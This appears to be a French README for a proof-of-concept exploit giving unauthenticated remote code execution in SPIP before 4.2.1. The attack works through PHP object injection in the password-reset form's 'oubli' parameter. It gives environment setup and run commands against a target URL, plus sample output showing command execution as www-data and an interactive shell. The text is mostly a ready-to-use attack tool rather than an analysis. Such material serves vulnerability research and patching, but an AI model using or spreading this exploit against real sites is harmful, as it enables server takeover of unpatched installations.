
Preuve de concept d'exploitation pour l'exécution de code à distance non authentifiée dans SPIP < 4.2.1 via une injection d'objets PHP dans le formulaire de réinitialisation de mot de passe. Fournit un shell interactif avec gestion des jetons CSRF.
Vulnérabilité d'exécution de code à distance non authentifiée dans SPIP avant 4.2.1. Le paramètre
oublidu formulaire de réinitialisation de mot de passe est vulnérable à une injection d'objet PHP en raison d'une désérialisation mal gérée. Une charge utile sérialisée spécialement conçue est exécutée côté serveur en tant qu'utilisateur web, et la sortie est reflétée dans la réponse dans la valeur du champ de saisieoubli.
/spip.php?page=spip_pass.oubli.value reflété dans la réponse.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET/spip
Exemple :
$ python3 exploit.py -u http://10.10.10.10/spip
[*] Fetching anti-CSRF token...
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data